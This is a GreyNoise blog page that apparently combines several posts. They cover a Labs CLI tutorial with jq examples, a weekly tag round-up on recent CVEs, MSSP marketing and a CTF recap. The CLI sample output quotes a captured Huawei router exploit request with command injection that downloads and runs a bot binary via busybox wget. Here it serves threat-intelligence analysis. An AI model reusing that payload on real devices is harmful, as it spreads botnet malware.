Cybersecurity data analysis is a complex and rapidly evolving landscape. To stay ahead, power users need tools that offer swift and accurate data handling. That's where the new GreyNoise Labs CLI package comes in. Crafted to optimize the parsing and manipulation of our sensor datasets, this CLI will not only expedite your process but also deliver digestible insights right at your fingertips.

Diving Into The Toolkit

The package serves as a conduit to the GreyNoise Labs API service, facilitating direct access to raw sensor data, contextual metadata, and quick prototyping utilities. This powerful Python package is your key to unlocking a simpler, more efficient interaction with our Labs API.

The GreyNoise Labs API contains the top 1% of data for all queries. However, the fluid nature of our continuous iteration and experimentation means that queries and commands can change without prior notice, and a rate limit is in place for equitable usage. While these utilities are primarily intended for us to explore new concepts and gather valuable user feedback, you're welcome to use them. We do caution against integrating them directly into production tools.

Our objective is to identify and prioritize new product features through these experimental iterations and your feedback. This exploratory process allows us to deliver features that not only cater to your specific needs, but also seamlessly integrate with our products.

For more insight into GreyNoise Labs and the work we're doing, visit our official website.

Installing ‘greynoiselabs’

The CLI installation process is straightforward:

  1. Run python3 -m pip install greynoiselabs
  1. Run greynoiselabs init to authenticate with Auth0 (what we use for secure authentication for your GreyNoise account) and save your credentials for future use.

As an optional step, we recommend installing jq to enhance the readability of CLI output. You can install jq with brew install jq on macOS or apt-get install jq on Ubuntu.

Quick Start Guide

Once installed, you can explore the features of the CLI by running greynoiselabs, which provides a handy usage guide.

image showing output of running greynoiselabs without options

Furthermore, you can access command-specific help using greynoiselabs <command> --help.

image showing help for greynoiselabs knocks

These commands can help you explore a variety of rich datasets released by GreyNoise Labs. Remember, the data is easily parseable with jq, which can help you extract insights and filter results to suit your specific needs. Some examples of jq usage are provided later on.

# This gives a JSON response containing data about specific source IPs.
greynoiselabs c2s | jq

  "source_ip": "",
  "hits": 2024,
  "pervasiveness": 10,
  "c2_ips": [
  "c2_domains": [],
  "payload": "POST /ctrlt/DeviceUpgrade_1 HTTP/1.1\r\nContent-Length: 430\r\nConnection: keep-alive\r\nAccept: */*\r\nAuthorization: Digest username=\"dslf-config\", realm=\"HuaweiHomeGateway\", nonce=\"88645cefb1f9ede0e336e3569d75ee30\", uri=\"/ctrlt/DeviceUpgrade_1\", response=\"3612f843a42db38f48f59d2a3597e19c\", algorithm=\"MD5\", qop=\"auth\", nc=00000001, cnonce=\"248d1a2560100669\"\r\n\r\n…$(/bin/busybox wget -g -l /tmp/negro -r /.oKA31/bok.mips; /bin/busybox chmod 777 /tmp/negro; /tmp/negro hw.selfrep)…\r\n\r\n"
# This command provides insights into knocks on specific source IPs.
greynoiselabs knocks | jq
  "source_ip": "",
  "headers": "{\"Content-Type\":[\"text/html\"],\"Expires\":[\"0\"],\"Server\":[\"uc-httpd 1.0.0\"]}",
  "apps": "[{\"app_name\":\"Apache HTTP Server\",\"version\":\"\"}]",
  "emails": [],
  "favicon_mmh3_128": "Sgqu+Vngs9hrQOzD8luitA==",
  "favicon_mmh3_32": -533084183,
  "ips": [
  "knock_port": 80,
  "jarm": "00000000000000000000000000000000000000000000000000000000000000",
  "last_seen": "2023-07-21T11:00:06Z",
  "last_crawled": "2023-07-22T00:14:27Z",
  "links": [],
  "title": "NETSurveillance WEB",
  "tor_exit": false
# This shows the most popular IPs.
greynoiselabs popular-ips | jq
  "ip": "",
  "request_count": 916,
  "users_count": 95,
  "last_requested": "2023-07-27T23:55:17Z",
  "noise": true,
  "last_seen": "2023-07-27T23:59:11Z"
# This allows you to see the noise ranking of a specific IP.
greynoiselabs noise-rank | jq
  "ip": "",
  "noise_score": 89,
  "country_pervasiveness": "very high",
  "payload_diversity": "med",
  "port_diversity": "very high",
  "request_rate": "high",
  "sensor_pervasiveness": "very high"
# This uses a GPT prompt to generate different results on each run.
greynoiselabs gengnql "Show malicious results that are targeting Ukraine from Russia"

classification:malicious AND AND destination_country:Ukraine AND destination_country:Ukraine AND classification:malicious
    metadata.country_code:RU AND destination_country_code:UA AND classification:malicious
    classification:malicious AND metadata.country_code:RU AND destination_country_code:UA
    destination_country:Ukraine AND AND classification:malicious

Advanced Usage

jq is a versatile tool for handling JSON data from the command line. Here are a few examples using the JSON outputs above that could provide some interesting insights. Note that these examples are based on the provided samples and may need to be adjusted based on the actual structure and content of your data.

Get a count of all unique C2 IPs

If you wanted to see how many unique C2 IPs exist in your dataset, you could run:

greynoiselabs c2s | \
  jq -s '[.[].c2_ips[]] | \
  unique | \

which retrieves all the C2 IPs (.[].c2_ips[]), finds the unique values (unique), and then counts them (length).

Identify IPs with high hit counts

If you're interested in the source IPs with high hit counts, you could use a command like:

greynoiselabs c2s | \
  jq 'select(.hits > 1000) |\

This filters the data to only include records where the hits are greater than 1000 (select(.hits > 1000)), and then outputs the corresponding source IPs (source_ip).

Grouping by Noise Score

If you wanted to see how many IPs fall into different categories based on their noise score, you could run:

greynoiselabs noise-rank | \
  jq -s 'group_by(.noise_score) | \
  map({noise_score: .[0].noise_score, count: length})'
    "noise_score": 40,
    "count": 181
    "noise_score": 41,
    "count": 200
    "noise_score": 42,
    "count": 171

This command groups the data by the noise score (group_by(.noise_score)), and then transforms it into an array with each object containing the noise score and the count of IPs with that score (map({noise_score: .[0].noise_score, count: length})).

Identify All Noiseless Popular IPs

If you wanted to see all popular IPs that are not observed by GreyNoise sensors, you could use:

greynoiselabs popular-ips | \
  jq '. | \
  select(.noise == false) | .ip'

This command filters the data to only include records where the noise is false (select(.noise == false)), and then outputs the corresponding IPs (ip).

Aggregate KnockKnock Source IPs by HTTP Title

For a glimpse into the distribution of page titles across your network traffic, use.

greynoiselabs knocks | \
  jq -s 'map(select(.title != "")) | \
  group_by(.title) | \
  map({title: .[0].title, source_ips: map(.source_ip), ip_count: length}) | \
    "title": "RouterOS router configuration page",
    "source_ips": [
    "ip_count": 81
    "title": "main page",
    "source_ips": [
    "ip_count": 58

This command does the following:

  • map(select(.title != "")): Filters out the objects that have an empty title.
  • group_by(.title): Groups the remaining objects by their title.
  • map({title: .[0].title, source_ips: map(.source_ip), ip_count: length}): Transforms the grouped data into an array of objects, each containing a title, an array of associated source IPs, and a count of those IPs (ip_count).
  • sort_by(-.ip_count): Sorts the array of objects based on the ip_count in descending order.

By grouping the 'knocks' data based on the title, this updated command allows you to quickly identify which titles have the most associated source IPs. The result is sorted by the ip_count field, giving you an ordered view from most to the least associated IPs for each title.

The Power Of Data

Finally, with this, you can start to see the power of this data. The first result is a list of IPs likely running Mikrotik routers, that are scanning and crawling the internet and likely related to one or more botnets. Our knockknock dataset has a bunch of granular signature information that could be used to further identify clusters of similar IPs. We will have more on this in a future blog post.

These are just a few examples of what you can do with jq and the new GreyNoise Labs CLI output data. By adjusting these examples to your needs, you can glean a multitude of insights from your data and ours.

As we continue to evolve and expand the functionality of the GreyNoise Labs API and CLI, we are eager to hear your feedback. Your input is critical in helping us understand which features are most valuable and what other capabilities you'd like to see included.

Please don't hesitate to reach out to us with your feedback, questions, or any issues you may encounter at Alternatively, you can also create an issue directly on our GreyNoise Labs GitHub page. If you have ideas about ways to combine our data into a more useful view or are interested in somehow partnering with a dataset you have, please reach out.

We can't wait to see what you'll discover with the GreyNoise Labs CLI. Get started today and let us know your thoughts!

While our Labs API data is spiffy, you, too, can take advantage of our core data science-fueled threat intelligence platform to identify noise, reduce false positives, and focus on genuine threats. Sign up for GreyNoise Intelligence today and gain the edge in protecting your systems.

Data Science-Fueled Tagging From GreyNoise Last Week

All our tags come from extremely talented humans who painstakingly craft detection rules for emergent threats that pass our “100%” test every time. We tend to rely on research partner shared proof-of-concept (PoC) code or vendor/researcher write-ups to determine when we should direct our efforts. Sometimes, prominent, emergent CVEs will cause us to dig into the patch diffs ourselves, fire up vulnerable instances of the software, and determine likely exploit paths which we wait to see are correct.

However, we receive millions of just HTTP/HTTPS events every single day. Deep within that noise we know that exploitation attempts for other services exist, but surfacing ones that may matter is a challenge since we're only human. Thankfully, we also spend some of our time on data science projects that help fuel innovation. You've seen the results of those efforts in our IP Sim and Tag Trends platform features. But, we have many internal data science projects that are designed to give our researchers bionic tagging powers; enabling each of them to be stronger, better, and faster when it comes to identifying novel traffic and understanding whether it is malicious or not (and, whether it warrants a tag).

One of these tools is “Hunter” (yes, the Labs team is quite unimaginative when it comes to internal code names). It performs a daily clustering of HTTP/HTTPS traffic, sifting through those millions of events, and surfaces a very manageable handful of clusters that our dedicated team can easily and quickly triage. Hunter also has a memory of past clusters, so it will only surface “new” ones each day.

Last week was bonkers when it comes to the number of tags (7) our team cranked out.

One reason for that Herculean number is due to Hunter! It led us down the path to finding activity that we might have otherwise only tagged in the future when organizations or agencies announced exploit campaigns that did real harm to those who fell victim to attack.

In the tag round-up for last week, below, we note where Hunter was the source for the creation of the tag with a “🔍”.

A trio of tags for SonicWall

SonicOS TFA Scanner 🔍

The SonicOS TFA Scanner tag identifies IP addresses scanning for the SonicWall SonicOS Two Factor Authentication (TFA) API endpoint. So far, we've observed 503 unique IP addresses from benign scanners searching for this endpoint. For more information and to explore the data, check out the GreyNoise Visualizer for SonicOS TFA Scanner.

SonicWall Auth Bypass Attempt

This tag is related to IP addresses attempting to exploit CVE-2023-34124, an authentication bypass vulnerability in SonicWall GMS and Analytics. No exploit attempts have been observed so far. For more details, visit the GreyNoise Visualizer entry for SonicWall Auth Bypass Attempt.

SonicWall SQL Injection Attempt

We've observed one malicious IP address attempting to exploit CVE-2023-34133, a SonicWall SQL Injection vulnerability. So far, we've seen one IP — 94[.]228[.]169[.]4 poking around for vulnerable instances. — To learn more about this tag and the associated data, have a look at the GreyNoise Visualizer entry for SonicWall SQL Injection Attempt.

A dastardly dynamic duo for Ivanti

Ivanti MICS Scanning

This tag is associated with IP addresses scanning for Ivanti MobileIron Configuration Services (MICS). As of now, we haven't seen any IPs attempting to exploit this vulnerability. To dive deeper into this tag, visit the GreyNoise Visualizer for Ivanti MICS Scanning.

Ivanti Sentry Auth Bypass Attempt

IP addresses with this tag have been observed attempting to exploit CVE-2023-38035, an authentication bypass vulnerability in Ivanti Sentry, formerly known as MobileIron Sentry, versions 9.18 and prior. No exploit attempts have been observed to date. Explore this tag further on the GreyNoise Visualizer entry for Ivanti Sentry Auth Bypass Attempt.

Solo tags

Openfire Path Traversal Attempt activity

IP addresses with this tag have been observed attempting to exploit CVE-2023-32315, a path traversal vulnerability in Openfire's administrative console. We've caught seven IPs attempting to find paths they should not be. You can check those out at the GreyNoise Visualizer entry for Openfire Path Traversal Attempt

TBK Vision DVR Auth Bypass activity 🔍

Finally, IP addresses with this tag have been observed attempting to exploit CVE-2018-9995, an authentication bypass vulnerability in TBK DVR4104 and DVR4216 devices. Looking back at the past 30 days of data, we found 66 IPs looking for these streaming systems. You can find them all at the GreyNoise Visualizer entry for TBK Vision DVR Auth Bypass

So What?

The earlier we can find and tag new, malicious activity, the more quickly our customers and community members can take advantage of our timely threat intelligence to either buy time to patch systems and block malicious activity.

You, too, can take advantage of our data science-fueled threat intelligence platform to identify noise, reduce false positives, and focus on genuine threats. Sign up for GreyNoise Intelligence today and gain the edge in protecting your systems.

Do you have a tag that you want GreyNoise to look into? You are in luck! We now have a page for our Community to request a tag. Check it out.

Top 3 Benefits MSSPs & MDRs Receive With GreyNoise

“If we had budget cuts we’d turn off someone else in favor of GreyNoise. We could not get the same answers in the same time elsewhere.”

– Director of Cyber Operations at 5,001-10,000 employee company

Many traditional threat intelligence solutions used by MSSPs can have an unintended consequence of creating more noise for your security operations center (SOC) – GreyNoise changes that. We collect and analyze internet wide scan and attack traffic, and label noisy IPs and network activity (whether it's common business services, or scanners crawling/exploiting the internet) to help SOC teams spend less time on irrelevant or harmless activity, and more time on targeted and emerging threats.

GreyNoise integrates seamlessly into over 50 different security tools, eliminating the need for security professionals to adapt to new dashboards, switch between multiple platforms, or navigate additional graphical user interfaces. This enables MSSPs to materially improve their security operations and workflows, often saving them hours of analyst time per week and upwards of 25% on costs.

In our last post, we introduced three critical ways MSSP and MDR customers benefit from GreyNoise: 1) reduce costs 2) improve scalability and 3) beat the adversary. 

In this post, we will take a deeper look at exactly HOW existing GreyNoise MSSP customers are realizing these benefits.

1. Reduce Costs

As threat landscapes evolve, so does the cost of staying ahead. More security alerts often result in a need for more headcount, and when MSSPs are already operating on narrow margins – this becomes quite the challenge.  

Over at Ideal Integrations, a well-known regional MSSP, they faced two costly challenges:

  1. An expensive alert problem: The sheer volume of security alerts their teams were ingesting was overwhelming, compounded by a high rate of false positives – all of which was costing them time, money, and quality of service.
  1. Difficulty in IP investigations: Understanding an IP address and its relation to broader threat patterns is crucial – and their existing tooling was not providing this level of trusted, reliable context fast, causing an overall inefficient analyst workflow and a drain on resources.

By integrating GreyNoise into Swimlane, their Security Orchestration, Automation & Response platform (SOAR), the Ideal Integrations team was now able to take each alert, ask GreyNoise (via API) for a temperature check on that IP Address, and immediately enrich it with GreyNoise-provided context – enabling a trusted, reliable verdict quickly. With the decision and reasoning directly available in their alert systems, the analysts no longer needed to bounce between different platforms to collate results, streamlining the incident response process. 

“We used to take around 15 - 45 minutes to investigate each event to find out if the intelligence was accurate, and finally make a determination as to a verdict. That is time we now save with GreyNoise, per event, and it adds up very quickly to help justify any expense. It allowed us to pivot our efforts to higher level tasks, and saved us from having to hire exponentially more analysts just to keep up with the inbound events.” 
— VP of Security Services, Ideal Integrations

2. Improve Scalability

In today's market, scaling is not enough. For MSSPs in particular, it is all about scaling sustainably – growing your customer base without increasing your costs.

Hurricane Labs, a leading Splunk MSSP shop, had brought together a team of Splunk ninjas who were second-to-none in managing the Enterprise Security and Phantom deployments on behalf of their customers. However, as they added more detections and new customers, they naturally saw their alert volumes grow.

To enrich and filter out noisy alerts in both Splunk and Phantom, Hurricane Labs installed the GreyNoise integration into their customers’ Splunk environments and added it to the workflows for various detections. The logic was straightforward: if something in the search results matched GreyNoise, exclude. 

For a normal enterprise business, the SOC manager has a couple of choices to handle alerts: he or she can hire a person, or spend money on a product that improves alert quality. But for an MSSP, the margins are often paper thin – and that’s where GreyNoise is even more valuable.

“Any single analyst can handle, say, 20 alerts per day. But a product like GreyNoise can triage alerts for every one of our customers. So as we add more customers, GreyNoise scales in a way a person can’t.”
— Director of Managed Services, Hurricane Labs

3. Beat the Adversary

The adversary is evolving its tactics and techniques faster than ever, making it critical for MSSPs and MDRs to have sufficient tooling and insights to stay ahead. One part of this equation is the need for explainability and context paired with threat intelligence, and the other is visibility into emerging vulnerabilities and associated attack vectors – especially with “vulnerability exploit” now cited as a top attack vector (Verizon DBIR).

MSSPs like Layer 3 Communications & Ideal Integrations leverage GreyNoise data to help them prioritize threats and vulnerabilities based on the absence or presence of “in the wild” exploitation. During the height of vulnerability events, GreyNoise also serves critical in providing customers with the “most comprehensive set of intelligence” through high fidelity blocklists. Organizations can prevent noisy scanners from hitting their perimeter from the onset, effectively shutting them out, and giving themselves time to patch when there is an emerging exploit.  This allows GreyNoise MSSP and MDR customers to tighten the window of opportunity for attackers and ultimately improve the overall security posture of their end clients.


With a unique suite of tools and insights, GreyNoise is truly an opportunity for every MSSP and MDR to transform their offerings with a threat intelligence solution that pays for itself.

That is why we are excited to invite you to our upcoming webinar, "Alerts, Automation, & Analysts: How MSSPs Can Leverage Automation to Reduce Alerts & Maximize their Analysts." This webinar will feature an expert panel of MSSP & MDR leaders from real GreyNoise customers, providing valuable insights and strategies. 

Don't miss out on this opportunity to learn from industry experts real-time, and see how GreyNoise is shaping the future of sustainable, scalable and innovative cybersecurity service delivery.

Webinar Event for Alerts, Automation, & Analysts: How MSSPs Can Leverage Automation to Reduce Alerts & Maximize their Analysts.

GreyNoise NoiseFest 2023 CTF Recap

The GreyNoise Labs team is proud to have hosted the GreyNoise NoiseFest 2023 CTF - who knows if we will do it again, but we had fun, so here’s a walkthrough on how and why we did it.

But first: your winners!! 

  • 1st: t3mp3st w/ 4060 points in 5 days, 2 hours, 24 minutes and 19 seconds
  • 2nd: An00bRektn w/ 3060 points in 1 day, 2 hours, 9 minutes and 57 seconds
  • 3rd: jk42 w/ 3060 points in 19 hours, 35 minutes and 27 seconds
  • 4th: mtaggart w/ 3060 points in 1 day, 0 hours, 24 minutes and 18 seconds
  • Honorable Mention: MyDFIR for the early lead 

We’re incredibly proud of everybody who even attempted to play - all 280 participants! Our community team has contacted the winners, and they will be receiving some sweet swag as a prize, plus 1st, 2nd, and 3rd places are getting a beautiful trophy.

Crafting the CTF was one of the best parts of hosting the competition. Competitors in the CTF may have noticed that there was no usage of GreyNoise - and that was by design. When we thought about all the cool things we do daily on the Labs team, we narrowed it down to around 25 tags with CVEs that have led us down rabbit holes or taught us something interesting about how the internet works.

We used these selected examples and packaged them in industry standard PCAP format and set our community loose on the CTF challenges. This allowed us to observe the methods, tools, and pain points in dealing with network traffic that may defy typical expectations. We know that this format of network capture is the highest level of proof that something occurred - the direct record of bytes on the wire. A detection engineer is not only familiar with PCAP but may even live in it daily, noticing how bytes live and breathe just as the GreyNoise Labs team does.

Our new sensor fleet also captures full PCAP, and we wanted to hype that fact! Any difficulties encountered with a single-packet CTF challenge will be grossly exacerbated when working with millions of real-world packets. We’re greatly looking forward to analyzing the pain points from this CTF and providing the tooling that our Detection Labs team and the community need to make network analysis a pleasure to work with. Your feedback has been heard!

(The final scoreboard)

So we learned some things about hosting a CTF - mainly that creating “medium level” challenges in a PCAP-based CTF is hard. We also learned that we like trivia - the challenge “fullsignature” is an excellent example of this, where the answer was the name of the patent holder and original author for the MSMQ protocol. Most importantly, we learned that our community is SUPER SMART in PCAP. Some of the players have done writeups already (this one by An00bRektn, or this one by t3mp3st), and if you’d like to walk through the challenges yourself, we’ve uploaded the challenges and associated PCAP to GitHub at 

Altogether, we learned a lot from this experience and had a great time crafting and solving each other’s challenges here on the GreyNoise Labs team. We look forward to hosting again! 

No blog articles found

Please update your search term or select a different category and try again.